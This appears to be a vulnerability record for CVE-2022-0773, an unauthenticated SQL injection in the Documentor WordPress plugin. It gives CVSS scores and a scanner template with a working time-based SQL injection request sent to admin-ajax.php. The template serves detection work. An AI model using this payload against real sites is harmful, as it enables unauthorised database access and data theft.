7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.04 Low
EPSS
Percentile
92.1%
The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
id: CVE-2022-0773
info:
name: Documentor <= 1.5.3 - Unauthenticated SQL Injection
author: theamanrawat
severity: critical
description: |
The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Update to Documentor version 1.5.3 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/55b89de0-30ed-4f98-935e-51f069faf6fc
- https://wordpress.org/plugins/documentor-lite/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0773
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0773
cwe-id: CWE-89
epss-score: 0.05057
epss-percentile: 0.92125
cpe: cpe:2.3:a:documentor_project:documentor:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: documentor_project
product: documentor
framework: wordpress
tags: cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project
http:
- raw:
- |
@timeout: 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
- |
GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_1>=6'
- 'status_code == 200'
- 'contains(content_type_1, "text/html")'
- 'contains(body_1, "([])") && contains(body_2, ".documentor-help")'
condition: and
# digest: 490a0046304402205f2cc03db340617761a1fa935180c834e2ffa82c932c1189a14dfcb1d06333f70220105b6b52747cdf5d6f4ad6ca85ab86c5cd0f844d3a8a8d75cec26b186467f283:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.04 Low
EPSS
Percentile
92.1%